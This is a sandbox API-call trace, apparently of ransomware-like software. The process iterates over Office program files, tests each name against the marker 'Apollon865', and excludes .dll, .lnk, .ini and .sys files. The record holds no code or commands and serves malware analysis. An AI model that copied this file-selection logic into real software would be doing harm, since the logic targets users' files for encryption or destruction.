	[0066.060] lstrcmpiW (lpString1="MLCFG32.CPL", lpString2=".ini") returned 1
	[0066.060] lstrlenW (lpString=".sys") returned 4
	[0066.060] lstrcmpiW (lpString1="MLCFG32.CPL", lpString2=".sys") returned 1
	[0066.060] lstrlenW (lpString="MLCFG32.CPL") returned 11
	[0066.060] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="MLSHEXT.DLL" | out: lpString1="MLSHEXT.DLL") returned="MLSHEXT.DLL"
	[0066.060] lstrlenW (lpString="MLSHEXT.DLL") returned 11
	[0066.060] lstrlenW (lpString="Apollon865") returned 10
	[0066.060] lstrcmpiW (lpString1="LSHEXT.DLL", lpString2="Apollon865") returned 1
	[0066.060] lstrlenW (lpString=".dll") returned 4
	[0066.060] lstrcmpiW (lpString1="MLSHEXT.DLL", lpString2=".dll") returned 1
	[0066.060] lstrlenW (lpString=".lnk") returned 4
	[0066.060] lstrcmpiW (lpString1="MLSHEXT.DLL", lpString2=".lnk") returned 1
	[0066.060] lstrlenW (lpString=".ini") returned 4
	[0066.060] lstrcmpiW (lpString1="MLSHEXT.DLL", lpString2=".ini") returned 1
	[0066.060] lstrlenW (lpString=".sys") returned 4
	[0066.060] lstrcmpiW (lpString1="MLSHEXT.DLL", lpString2=".sys") returned 1
	[0066.061] lstrlenW (lpString="MLSHEXT.DLL") returned 11
	[0066.061] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="MML2OMML.XSL" | out: lpString1="MML2OMML.XSL") returned="MML2OMML.XSL"
	[0066.061] lstrlenW (lpString="MML2OMML.XSL") returned 12
	[0066.061] lstrlenW (lpString="Apollon865") returned 10
	[0066.061] lstrcmpiW (lpString1="L2OMML.XSL", lpString2="Apollon865") returned 1
	[0066.061] lstrlenW (lpString=".dll") returned 4
	[0066.061] lstrcmpiW (lpString1="MML2OMML.XSL", lpString2=".dll") returned 1
	[0066.061] lstrlenW (lpString=".lnk") returned 4
	[0066.061] lstrcmpiW (lpString1="MML2OMML.XSL", lpString2=".lnk") returned 1
	[0066.061] lstrlenW (lpString=".ini") returned 4
	[0066.061] lstrcmpiW (lpString1="MML2OMML.XSL", lpString2=".ini") returned 1
	[0066.061] lstrlenW (lpString=".sys") returned 4
	[0066.061] lstrcmpiW (lpString1="MML2OMML.XSL", lpString2=".sys") returned 1
	[0066.061] lstrlenW (lpString="MML2OMML.XSL") returned 12
	[0066.061] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="MODELENG.DLL" | out: lpString1="MODELENG.DLL") returned="MODELENG.DLL"
	[0066.061] lstrlenW (lpString="MODELENG.DLL") returned 12
	[0066.061] lstrlenW (lpString="Apollon865") returned 10
	[0066.061] lstrcmpiW (lpString1="DELENG.DLL", lpString2="Apollon865") returned 1
	[0066.061] lstrlenW (lpString=".dll") returned 4
	[0066.061] lstrcmpiW (lpString1="MODELENG.DLL", lpString2=".dll") returned 1
	[0066.061] lstrlenW (lpString=".lnk") returned 4
	[0066.061] lstrcmpiW (lpString1="MODELENG.DLL", lpString2=".lnk") returned 1
	[0066.061] lstrlenW (lpString=".ini") returned 4
	[0066.061] lstrcmpiW (lpString1="MODELENG.DLL", lpString2=".ini") returned 1
	[0066.061] lstrlenW (lpString=".sys") returned 4
	[0066.061] lstrcmpiW (lpString1="MODELENG.DLL", lpString2=".sys") returned 1
	[0066.061] lstrlenW (lpString="MODELENG.DLL") returned 12
	[0066.062] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="MORPH9.DLL" | out: lpString1="MORPH9.DLL") returned="MORPH9.DLL"
	[0066.062] lstrlenW (lpString="MORPH9.DLL") returned 10
	[0066.062] lstrlenW (lpString="Apollon865") returned 10
	[0066.062] lstrlenW (lpString=".dll") returned 4
	[0066.062] lstrcmpiW (lpString1="MORPH9.DLL", lpString2=".dll") returned 1
	[0066.062] lstrlenW (lpString=".lnk") returned 4
	[0066.062] lstrcmpiW (lpString1="MORPH9.DLL", lpString2=".lnk") returned 1
	[0066.062] lstrlenW (lpString=".ini") returned 4
	[0066.062] lstrcmpiW (lpString1="MORPH9.DLL", lpString2=".ini") returned 1
	[0066.062] lstrlenW (lpString=".sys") returned 4
	[0066.062] lstrcmpiW (lpString1="MORPH9.DLL", lpString2=".sys") returned 1
	[0066.062] lstrlenW (lpString="MORPH9.DLL") returned 10
	[0066.062] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="MPXINT.DLL" | out: lpString1="MPXINT.DLL") returned="MPXINT.DLL"
	[0066.062] lstrlenW (lpString="MPXINT.DLL") returned 10
	[0066.062] lstrlenW (lpString="Apollon865") returned 10
	[0066.062] lstrlenW (lpString=".dll") returned 4
	[0066.062] lstrcmpiW (lpString1="MPXINT.DLL", lpString2=".dll") returned 1
	[0066.062] lstrlenW (lpString=".lnk") returned 4
	[0066.062] lstrcmpiW (lpString1="MPXINT.DLL", lpString2=".lnk") returned 1
	[0066.062] lstrlenW (lpString=".ini") returned 4
	[0066.062] lstrcmpiW (lpString1="MPXINT.DLL", lpString2=".ini") returned 1
	[0066.062] lstrlenW (lpString=".sys") returned 4
	[0066.062] lstrcmpiW (lpString1="MPXINT.DLL", lpString2=".sys") returned 1
	[0066.062] lstrlenW (lpString="MPXINT.DLL") returned 10
	[0066.062] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="MSACC.OLB" | out: lpString1="MSACC.OLB") returned="MSACC.OLB"
	[0066.062] lstrlenW (lpString="MSACC.OLB") returned 9
	[0066.062] lstrlenW (lpString="Apollon865") returned 10
	[0066.062] lstrlenW (lpString=".dll") returned 4
	[0066.062] lstrcmpiW (lpString1="MSACC.OLB", lpString2=".dll") returned 1
	[0066.063] lstrlenW (lpString=".lnk") returned 4
	[0066.063] lstrcmpiW (lpString1="MSACC.OLB", lpString2=".lnk") returned 1
	[0066.063] lstrlenW (lpString=".ini") returned 4
	[0066.063] lstrcmpiW (lpString1="MSACC.OLB", lpString2=".ini") returned 1
	[0066.063] lstrlenW (lpString=".sys") returned 4
	[0066.063] lstrcmpiW (lpString1="MSACC.OLB", lpString2=".sys") returned 1
	[0066.063] lstrlenW (lpString="MSACC.OLB") returned 9
	[0066.063] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="MSACCESS.EXE" | out: lpString1="MSACCESS.EXE") returned="MSACCESS.EXE"
	[0066.063] lstrlenW (lpString="MSACCESS.EXE") returned 12
	[0066.063] lstrlenW (lpString="Apollon865") returned 10
	[0066.063] lstrcmpiW (lpString1="ACCESS.EXE", lpString2="Apollon865") returned -1
	[0066.063] lstrlenW (lpString=".dll") returned 4
	[0066.063] lstrcmpiW (lpString1="MSACCESS.EXE", lpString2=".dll") returned 1
	[0066.063] lstrlenW (lpString=".lnk") returned 4
	[0066.063] lstrcmpiW (lpString1="MSACCESS.EXE", lpString2=".lnk") returned 1
	[0066.063] lstrlenW (lpString=".ini") returned 4
	[0066.063] lstrcmpiW (lpString1="MSACCESS.EXE", lpString2=".ini") returned 1
	[0066.063] lstrlenW (lpString=".sys") returned 4
	[0066.063] lstrcmpiW (lpString1="MSACCESS.EXE", lpString2=".sys") returned 1
	[0066.063] lstrlenW (lpString="MSACCESS.EXE") returned 12
	[0066.063] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="msaccess.exe.manifest" | out: lpString1="msaccess.exe.manifest") returned="msaccess.exe.manifest"
	[0066.063] lstrlenW (lpString="msaccess.exe.manifest") returned 21
	[0066.063] lstrlenW (lpString="Apollon865") returned 10
	[0066.063] lstrcmpiW (lpString1="e.manifest", lpString2="Apollon865") returned 1
	[0066.063] lstrlenW (lpString=".dll") returned 4
	[0066.063] lstrcmpiW (lpString1="msaccess.exe.manifest", lpString2=".dll") returned 1
	[0066.063] lstrlenW (lpString=".lnk") returned 4
	[0066.063] lstrcmpiW (lpString1="msaccess.exe.manifest", lpString2=".lnk") returned 1
	[0066.063] lstrlenW (lpString=".ini") returned 4
	[0066.063] lstrcmpiW (lpString1="msaccess.exe.manifest", lpString2=".ini") returned 1
	[0066.064] lstrlenW (lpString=".sys") returned 4
	[0066.064] lstrcmpiW (lpString1="msaccess.exe.manifest", lpString2=".sys") returned 1
	[0066.064] lstrlenW (lpString="msaccess.exe.manifest") returned 21
	[0066.064] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="MSAEXP30.DLL" | out: lpString1="MSAEXP30.DLL") returned="MSAEXP30.DLL"
	[0066.064] lstrlenW (lpString="MSAEXP30.DLL") returned 12
	[0066.064] lstrlenW (lpString="Apollon865") returned 10
	[0066.064] lstrcmpiW (lpString1="AEXP30.DLL", lpString2="Apollon865") returned -1
	[0066.064] lstrlenW (lpString=".dll") returned 4
	[0066.064] lstrcmpiW (lpString1="MSAEXP30.DLL", lpString2=".dll") returned 1
	[0066.064] lstrlenW (lpString=".lnk") returned 4
	[0066.064] lstrcmpiW (lpString1="MSAEXP30.DLL", lpString2=".lnk") returned 1
	[0066.064] lstrlenW (lpString=".ini") returned 4
	[0066.064] lstrcmpiW (lpString1="MSAEXP30.DLL", lpString2=".ini") returned 1
	[0066.064] lstrlenW (lpString=".sys") returned 4
	[0066.064] lstrcmpiW (lpString1="MSAEXP30.DLL", lpString2=".sys") returned 1
	[0066.064] lstrlenW (lpString="MSAEXP30.DLL") returned 12
	[0066.064] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="MSCOL11.INF" | out: lpString1="MSCOL11.INF") returned="MSCOL11.INF"
	[0066.064] lstrlenW (lpString="MSCOL11.INF") returned 11
	[0066.064] lstrlenW (lpString="Apollon865") returned 10
	[0066.064] lstrcmpiW (lpString1="SCOL11.INF", lpString2="Apollon865") returned 1
	[0066.064] lstrlenW (lpString=".dll") returned 4
	[0066.064] lstrcmpiW (lpString1="MSCOL11.INF", lpString2=".dll") returned 1
	[0066.064] lstrlenW (lpString=".lnk") returned 4
	[0066.064] lstrcmpiW (lpString1="MSCOL11.INF", lpString2=".lnk") returned 1
	[0066.064] lstrlenW (lpString=".ini") returned 4
	[0066.064] lstrcmpiW (lpString1="MSCOL11.INF", lpString2=".ini") returned 1
	[0066.064] lstrlenW (lpString=".sys") returned 4
	[0066.064] lstrcmpiW (lpString1="MSCOL11.INF", lpString2=".sys") returned 1
	[0066.064] lstrlenW (lpString="MSCOL11.INF") returned 11
	[0066.065] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="MSCOL11.PPD" | out: lpString1="MSCOL11.PPD") returned="MSCOL11.PPD"
	[0066.065] lstrlenW (lpString="MSCOL11.PPD") returned 11
	[0066.065] lstrlenW (lpString="Apollon865") returned 10
	[0066.065] lstrcmpiW (lpString1="SCOL11.PPD", lpString2="Apollon865") returned 1
	[0066.065] lstrlenW (lpString=".dll") returned 4
	[0066.065] lstrcmpiW (lpString1="MSCOL11.PPD", lpString2=".dll") returned 1
	[0066.065] lstrlenW (lpString=".lnk") returned 4
	[0066.065] lstrcmpiW (lpString1="MSCOL11.PPD", lpString2=".lnk") returned 1
	[0066.065] lstrlenW (lpString=".ini") returned 4
	[0066.065] lstrcmpiW (lpString1="MSCOL11.PPD", lpString2=".ini") returned 1
	[0066.065] lstrlenW (lpString=".sys") returned 4
	[0066.065] lstrcmpiW (lpString1="MSCOL11.PPD", lpString2=".sys") returned 1
	[0066.065] lstrlenW (lpString="MSCOL11.PPD") returned 11
	[0066.065] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="mscss7cm_en.dub" | out: lpString1="mscss7cm_en.dub") returned="mscss7cm_en.dub"
	[0066.065] lstrlenW (lpString="mscss7cm_en.dub") returned 15
	[0066.065] lstrlenW (lpString="Apollon865") returned 10
	[0066.065] lstrcmpiW (lpString1="7cm_en.dub", lpString2="Apollon865") returned -1
	[0066.065] lstrlenW (lpString=".dll") returned 4
	[0066.065] lstrcmpiW (lpString1="mscss7cm_en.dub", lpString2=".dll") returned 1
	[0066.065] lstrlenW (lpString=".lnk") returned 4
	[0066.065] lstrcmpiW (lpString1="mscss7cm_en.dub", lpString2=".lnk") returned 1
	[0066.065] lstrlenW (lpString=".ini") returned 4
	[0066.065] lstrcmpiW (lpString1="mscss7cm_en.dub", lpString2=".ini") returned 1
	[0066.065] lstrlenW (lpString=".sys") returned 4
	[0066.065] lstrcmpiW (lpString1="mscss7cm_en.dub", lpString2=".sys") returned 1
	[0066.065] lstrlenW (lpString="mscss7cm_en.dub") returned 15
	[0066.065] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="mscss7cm_es.dub" | out: lpString1="mscss7cm_es.dub") returned="mscss7cm_es.dub"
	[0066.065] lstrlenW (lpString="mscss7cm_es.dub") returned 15
	[0066.066] lstrlenW (lpString="Apollon865") returned 10
	[0066.066] lstrcmpiW (lpString1="7cm_es.dub", lpString2="Apollon865") returned -1
	[0066.066] lstrlenW (lpString=".dll") returned 4
	[0066.066] lstrcmpiW (lpString1="mscss7cm_es.dub", lpString2=".dll") returned 1
	[0066.066] lstrlenW (lpString=".lnk") returned 4
	[0066.066] lstrcmpiW (lpString1="mscss7cm_es.dub", lpString2=".lnk") returned 1
	[0066.066] lstrlenW (lpString=".ini") returned 4
	[0066.066] lstrcmpiW (lpString1="mscss7cm_es.dub", lpString2=".ini") returned 1
	[0066.066] lstrlenW (lpString=".sys") returned 4
	[0066.066] lstrcmpiW (lpString1="mscss7cm_es.dub", lpString2=".sys") returned 1
	[0066.066] lstrlenW (lpString="mscss7cm_es.dub") returned 15
	[0066.066] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="mscss7cm_fr.dub" | out: lpString1="mscss7cm_fr.dub") returned="mscss7cm_fr.dub"
	[0066.066] lstrlenW (lpString="mscss7cm_fr.dub") returned 15
	[0066.066] lstrlenW (lpString="Apollon865") returned 10
	[0066.066] lstrcmpiW (lpString1="7cm_fr.dub", lpString2="Apollon865") returned -1
	[0066.066] lstrlenW (lpString=".dll") returned 4
	[0066.066] lstrcmpiW (lpString1="mscss7cm_fr.dub", lpString2=".dll") returned 1
	[0066.066] lstrlenW (lpString=".lnk") returned 4
	[0066.066] lstrcmpiW (lpString1="mscss7cm_fr.dub", lpString2=".lnk") returned 1
	[0066.066] lstrlenW (lpString=".ini") returned 4
	[0066.066] lstrcmpiW (lpString1="mscss7cm_fr.dub", lpString2=".ini") returned 1
	[0066.066] lstrlenW (lpString=".sys") returned 4
	[0066.066] lstrcmpiW (lpString1="mscss7cm_fr.dub", lpString2=".sys") returned 1
	[0066.066] lstrlenW (lpString="mscss7cm_fr.dub") returned 15
	[0066.066] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="mscss7en.dll" | out: lpString1="mscss7en.dll") returned="mscss7en.dll"
	[0066.066] lstrlenW (lpString="mscss7en.dll") returned 12
	[0066.066] lstrlenW (lpString="Apollon865") returned 10
	[0066.066] lstrcmpiW (lpString1="css7en.dll", lpString2="Apollon865") returned 1
	[0066.066] lstrlenW (lpString=".dll") returned 4
	[0066.068] lstrcmpiW (lpString1="mscss7en.dll", lpString2=".dll") returned 1
	[0066.068] lstrlenW (lpString=".lnk") returned 4
	[0066.068] lstrcmpiW (lpString1="mscss7en.dll", lpString2=".lnk") returned 1
	[0066.068] lstrlenW (lpString=".ini") returned 4
	[0066.068] lstrcmpiW (lpString1="mscss7en.dll", lpString2=".ini") returned 1
	[0066.068] lstrlenW (lpString=".sys") returned 4
	[0066.068] lstrcmpiW (lpString1="mscss7en.dll", lpString2=".sys") returned 1
	[0066.068] lstrlenW (lpString="mscss7en.dll") returned 12
	[0066.068] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="mscss7es.dll" | out: lpString1="mscss7es.dll") returned="mscss7es.dll"
	[0066.068] lstrlenW (lpString="mscss7es.dll") returned 12
	[0066.068] lstrlenW (lpString="Apollon865") returned 10
	[0066.068] lstrcmpiW (lpString1="css7es.dll", lpString2="Apollon865") returned 1
	[0066.068] lstrlenW (lpString=".dll") returned 4
	[0066.068] lstrcmpiW (lpString1="mscss7es.dll", lpString2=".dll") returned 1
	[0066.068] lstrlenW (lpString=".lnk") returned 4
	[0066.068] lstrcmpiW (lpString1="mscss7es.dll", lpString2=".lnk") returned 1
	[0066.068] lstrlenW (lpString=".ini") returned 4
	[0066.068] lstrcmpiW (lpString1="mscss7es.dll", lpString2=".ini") returned 1
	[0066.068] lstrlenW (lpString=".sys") returned 4
	[0066.068] lstrcmpiW (lpString1="mscss7es.dll", lpString2=".sys") returned 1
	[0066.068] lstrlenW (lpString="mscss7es.dll") returned 12
	[0066.069] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="mscss7fr.dll" | out: lpString1="mscss7fr.dll") returned="mscss7fr.dll"
	[0066.069] lstrlenW (lpString="mscss7fr.dll") returned 12
	[0066.069] lstrlenW (lpString="Apollon865") returned 10
	[0066.069] lstrcmpiW (lpString1="css7fr.dll", lpString2="Apollon865") returned 1
	[0066.069] lstrlenW (lpString=".dll") returned 4
	[0066.069] lstrcmpiW (lpString1="mscss7fr.dll", lpString2=".dll") returned 1
	[0066.069] lstrlenW (lpString=".lnk") returned 4
	[0066.069] lstrcmpiW (lpString1="mscss7fr.dll", lpString2=".lnk") returned 1
	[0066.069] lstrlenW (lpString=".ini") returned 4
	[0066.069] lstrcmpiW (lpString1="mscss7fr.dll", lpString2=".ini") returned 1
	[0066.069] lstrlenW (lpString=".sys") returned 4
	[0066.069] lstrcmpiW (lpString1="mscss7fr.dll", lpString2=".sys") returned 1
	[0066.069] lstrlenW (lpString="mscss7fr.dll") returned 12
	[0066.069] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="mscss7wre_en.dub" | out: lpString1="mscss7wre_en.dub") returned="mscss7wre_en.dub"
	[0066.069] lstrlenW (lpString="mscss7wre_en.dub") returned 16
	[0066.069] lstrlenW (lpString="Apollon865") returned 10
	[0066.069] lstrcmpiW (lpString1="wre_en.dub", lpString2="Apollon865") returned 1
	[0066.069] lstrlenW (lpString=".dll") returned 4
	[0066.069] lstrcmpiW (lpString1="mscss7wre_en.dub", lpString2=".dll") returned 1
	[0066.069] lstrlenW (lpString=".lnk") returned 4
	[0066.069] lstrcmpiW (lpString1="mscss7wre_en.dub", lpString2=".lnk") returned 1
	[0066.069] lstrlenW (lpString=".ini") returned 4
	[0066.069] lstrcmpiW (lpString1="mscss7wre_en.dub", lpString2=".ini") returned 1
	[0066.069] lstrlenW (lpString=".sys") returned 4
	[0066.069] lstrcmpiW (lpString1="mscss7wre_en.dub", lpString2=".sys") returned 1
	[0066.069] lstrlenW (lpString="mscss7wre_en.dub") returned 16
	[0066.069] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="mscss7wre_es.dub" | out: lpString1="mscss7wre_es.dub") returned="mscss7wre_es.dub"
	[0066.069] lstrlenW (lpString="mscss7wre_es.dub") returned 16
	[0066.069] lstrlenW (lpString="Apollon865") returned 10
	[0066.070] lstrcmpiW (lpString1="wre_es.dub", lpString2="Apollon865") returned 1
	[0066.070] lstrlenW (lpString=".dll") returned 4
	[0066.070] lstrcmpiW (lpString1="mscss7wre_es.dub", lpString2=".dll") returned 1
	[0066.070] lstrlenW (lpString=".lnk") returned 4
	[0066.070] lstrcmpiW (lpString1="mscss7wre_es.dub", lpString2=".lnk") returned 1
	[0066.070] lstrlenW (lpString=".ini") returned 4
	[0066.070] lstrcmpiW (lpString1="mscss7wre_es.dub", lpString2=".ini") returned 1
	[0066.070] lstrlenW (lpString=".sys") returned 4
	[0066.070] lstrcmpiW (lpString1="mscss7wre_es.dub", lpString2=".sys") returned 1
	[0066.070] lstrlenW (lpString="mscss7wre_es.dub") returned 16
	[0066.070] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="mscss7wre_fr.dub" | out: lpString1="mscss7wre_fr.dub") returned="mscss7wre_fr.dub"
	[0066.070] lstrlenW (lpString="mscss7wre_fr.dub") returned 16
	[0066.070] lstrlenW (lpString="Apollon865") returned 10
	[0066.070] lstrcmpiW (lpString1="wre_fr.dub", lpString2="Apollon865") returned 1
	[0066.070] lstrlenW (lpString=".dll") returned 4
	[0066.070] lstrcmpiW (lpString1="mscss7wre_fr.dub", lpString2=".dll") returned 1
	[0066.070] lstrlenW (lpString=".lnk") returned 4
	[0066.070] lstrcmpiW (lpString1="mscss7wre_fr.dub", lpString2=".lnk") returned 1
	[0066.070] lstrlenW (lpString=".ini") returned 4
	[0066.070] lstrcmpiW (lpString1="mscss7wre_fr.dub", lpString2=".ini") returned 1
	[0066.070] lstrlenW (lpString=".sys") returned 4
	[0066.070] lstrcmpiW (lpString1="mscss7wre_fr.dub", lpString2=".sys") returned 1
	[0066.070] lstrlenW (lpString="mscss7wre_fr.dub") returned 16
	[0066.070] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="mset7.dll" | out: lpString1="mset7.dll") returned="mset7.dll"
	[0066.070] lstrlenW (lpString="mset7.dll") returned 9
	[0066.070] lstrlenW (lpString="Apollon865") returned 10
	[0066.070] lstrlenW (lpString=".dll") returned 4
	[0066.070] lstrcmpiW (lpString1="mset7.dll", lpString2=".dll") returned 1
	[0066.070] lstrlenW (lpString=".lnk") returned 4
	[0066.070] lstrcmpiW (lpString1="mset7.dll", lpString2=".lnk") returned 1
	[0066.071] lstrlenW (lpString=".ini") returned 4
	[0066.071] lstrcmpiW (lpString1="mset7.dll", lpString2=".ini") returned 1
	[0066.071] lstrlenW (lpString=".sys") returned 4
	[0066.071] lstrcmpiW (lpString1="mset7.dll", lpString2=".sys") returned 1
	[0066.071] lstrlenW (lpString="mset7.dll") returned 9
	[0066.071] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="mset7db.kic" | out: lpString1="mset7db.kic") returned="mset7db.kic"
	[0066.071] lstrlenW (lpString="mset7db.kic") returned 11
	[0066.071] lstrlenW (lpString="Apollon865") returned 10
	[0066.071] lstrcmpiW (lpString1="set7db.kic", lpString2="Apollon865") returned 1
	[0066.071] lstrlenW (lpString=".dll") returned 4
	[0066.071] lstrcmpiW (lpString1="mset7db.kic", lpString2=".dll") returned 1
	[0066.071] lstrlenW (lpString=".lnk") returned 4
	[0066.071] lstrcmpiW (lpString1="mset7db.kic", lpString2=".lnk") returned 1
	[0066.071] lstrlenW (lpString=".ini") returned 4
	[0066.071] lstrcmpiW (lpString1="mset7db.kic", lpString2=".ini") returned 1
	[0066.071] lstrlenW (lpString=".sys") returned 4
	[0066.071] lstrcmpiW (lpString1="mset7db.kic", lpString2=".sys") returned 1
	[0066.071] lstrlenW (lpString="mset7db.kic") returned 11
	[0066.071] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="mset7en.kic" | out: lpString1="mset7en.kic") returned="mset7en.kic"
	[0066.071] lstrlenW (lpString="mset7en.kic") returned 11
	[0066.071] lstrlenW (lpString="Apollon865") returned 10
	[0066.071] lstrcmpiW (lpString1="set7en.kic", lpString2="Apollon865") returned 1
	[0066.071] lstrlenW (lpString=".dll") returned 4
	[0066.071] lstrcmpiW (lpString1="mset7en.kic", lpString2=".dll") returned 1
	[0066.071] lstrlenW (lpString=".lnk") returned 4
	[0066.071] lstrcmpiW (lpString1="mset7en.kic", lpString2=".lnk") returned 1
	[0066.071] lstrlenW (lpString=".ini") returned 4
	[0066.071] lstrcmpiW (lpString1="mset7en.kic", lpString2=".ini") returned 1
	[0066.071] lstrlenW (lpString=".sys") returned 4
	[0066.072] lstrcmpiW (lpString1="mset7en.kic", lpString2=".sys") returned 1
	[0066.072] lstrlenW (lpString="mset7en.kic") returned 11
	[0066.072] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="mset7es.kic" | out: lpString1="mset7es.kic") returned="mset7es.kic"
	[0066.072] lstrlenW (lpString="mset7es.kic") returned 11
	[0066.072] lstrlenW (lpString="Apollon865") returned 10
	[0066.072] lstrcmpiW (lpString1="set7es.kic", lpString2="Apollon865") returned 1
	[0066.072] lstrlenW (lpString=".dll") returned 4
	[0066.072] lstrcmpiW (lpString1="mset7es.kic", lpString2=".dll") returned 1
	[0066.072] lstrlenW (lpString=".lnk") returned 4
	[0066.072] lstrcmpiW (lpString1="mset7es.kic", lpString2=".lnk") returned 1
	[0066.072] lstrlenW (lpString=".ini") returned 4
	[0066.072] lstrcmpiW (lpString1="mset7es.kic", lpString2=".ini") returned 1
	[0066.072] lstrlenW (lpString=".sys") returned 4
	[0066.072] lstrcmpiW (lpString1="mset7es.kic", lpString2=".sys") returned 1
	[0066.072] lstrlenW (lpString="mset7es.kic") returned 11
	[0066.072] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="mset7fr.kic" | out: lpString1="mset7fr.kic") returned="mset7fr.kic"
	[0066.072] lstrlenW (lpString="mset7fr.kic") returned 11
	[0066.072] lstrlenW (lpString="Apollon865") returned 10
	[0066.072] lstrcmpiW (lpString1="set7fr.kic", lpString2="Apollon865") returned 1
	[0066.072] lstrlenW (lpString=".dll") returned 4
	[0066.072] lstrcmpiW (lpString1="mset7fr.kic", lpString2=".dll") returned 1
	[0066.072] lstrlenW (lpString=".lnk") returned 4
	[0066.072] lstrcmpiW (lpString1="mset7fr.kic", lpString2=".lnk") returned 1
	[0066.072] lstrlenW (lpString=".ini") returned 4
	[0066.072] lstrcmpiW (lpString1="mset7fr.kic", lpString2=".ini") returned 1
	[0066.072] lstrlenW (lpString=".sys") returned 4
	[0066.072] lstrcmpiW (lpString1="mset7fr.kic", lpString2=".sys") returned 1
	[0066.072] lstrlenW (lpString="mset7fr.kic") returned 11
	[0066.073] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="mset7ge.kic" | out: lpString1="mset7ge.kic") returned="mset7ge.kic"
	[0066.073] lstrlenW (lpString="mset7ge.kic") returned 11
	[0066.073] lstrlenW (lpString="Apollon865") returned 10
	[0066.073] lstrcmpiW (lpString1="set7ge.kic", lpString2="Apollon865") returned 1
	[0066.073] lstrlenW (lpString=".dll") returned 4
	[0066.073] lstrcmpiW (lpString1="mset7ge.kic", lpString2=".dll") returned 1
	[0066.073] lstrlenW (lpString=".lnk") returned 4
	[0066.073] lstrcmpiW (lpString1="mset7ge.kic", lpString2=".lnk") returned 1
	[0066.073] lstrlenW (lpString=".ini") returned 4
	[0066.073] lstrcmpiW (lpString1="mset7ge.kic", lpString2=".ini") returned 1
	[0066.073] lstrlenW (lpString=".sys") returned 4
	[0066.073] lstrcmpiW (lpString1="mset7ge.kic", lpString2=".sys") returned 1
	[0066.073] lstrlenW (lpString="mset7ge.kic") returned 11
	[0066.073] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="mset7jp.kic" | out: lpString1="mset7jp.kic") returned="mset7jp.kic"
	[0066.073] lstrlenW (lpString="mset7jp.kic") returned 11
	[0066.073] lstrlenW (lpString="Apollon865") returned 10
	[0066.073] lstrcmpiW (lpString1="set7jp.kic", lpString2="Apollon865") returned 1
	[0066.073] lstrlenW (lpString=".dll") returned 4
	[0066.073] lstrcmpiW (lpString1="mset7jp.kic", lpString2=".dll") returned 1
	[0066.073] lstrlenW (lpString=".lnk") returned 4
	[0066.073] lstrcmpiW (lpString1="mset7jp.kic", lpString2=".lnk") returned 1
	[0066.073] lstrlenW (lpString=".ini") returned 4
	[0066.073] lstrcmpiW (lpString1="mset7jp.kic", lpString2=".ini") returned 1
	[0066.073] lstrlenW (lpString=".sys") returned 4
	[0066.073] lstrcmpiW (lpString1="mset7jp.kic", lpString2=".sys") returned 1
	[0066.073] lstrlenW (lpString="mset7jp.kic") returned 11
	[0066.073] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="mset7tk.dll" | out: lpString1="mset7tk.dll") returned="mset7tk.dll"
	[0066.074] lstrlenW (lpString="mset7tk.dll") returned 11
	[0066.074] lstrlenW (lpString="Apollon865") returned 10
	[0066.074] lstrcmpiW (lpString1="set7tk.dll", lpString2="Apollon865") returned 1
	[0066.074] lstrlenW (lpString=".dll") returned 4
	[0066.074] lstrcmpiW (lpString1="mset7tk.dll", lpString2=".dll") returned 1
	[0066.074] lstrlenW (lpString=".lnk") returned 4
	[0066.074] lstrcmpiW (lpString1="mset7tk.dll", lpString2=".lnk") returned 1
	[0066.074] lstrlenW (lpString=".ini") returned 4
	[0066.074] lstrcmpiW (lpString1="mset7tk.dll", lpString2=".ini") returned 1
	[0066.074] lstrlenW (lpString=".sys") returned 4
	[0066.074] lstrcmpiW (lpString1="mset7tk.dll", lpString2=".sys") returned 1
	[0066.074] lstrlenW (lpString="mset7tk.dll") returned 11
	[0066.074] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="mset7tkjp.dll" | out: lpString1="mset7tkjp.dll") returned="mset7tkjp.dll"
	[0066.074] lstrlenW (lpString="mset7tkjp.dll") returned 13
	[0066.074] lstrlenW (lpString="Apollon865") returned 10
	[0066.074] lstrcmpiW (lpString1="t7tkjp.dll", lpString2="Apollon865") returned 1
	[0066.074] lstrlenW (lpString=".dll") returned 4
	[0066.074] lstrcmpiW (lpString1="mset7tkjp.dll", lpString2=".dll") returned 1
	[0066.074] lstrlenW (lpString=".lnk") returned 4
	[0066.074] lstrcmpiW (lpString1="mset7tkjp.dll", lpString2=".lnk") returned 1
	[0066.074] lstrlenW (lpString=".ini") returned 4
	[0066.074] lstrcmpiW (lpString1="mset7tkjp.dll", lpString2=".ini") returned 1
	[0066.074] lstrlenW (lpString=".sys") returned 4
	[0066.074] lstrcmpiW (lpString1="mset7tkjp.dll", lpString2=".sys") returned 1
	[0066.074] lstrlenW (lpString="mset7tkjp.dll") returned 13
	[0066.074] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="MSN.ICO" | out: lpString1="MSN.ICO") returned="MSN.ICO"
	[0066.074] lstrlenW (lpString="MSN.ICO") returned 7
	[0066.074] lstrlenW (lpString="Apollon865") returned 10
	[0066.074] lstrlenW (lpString=".dll") returned 4
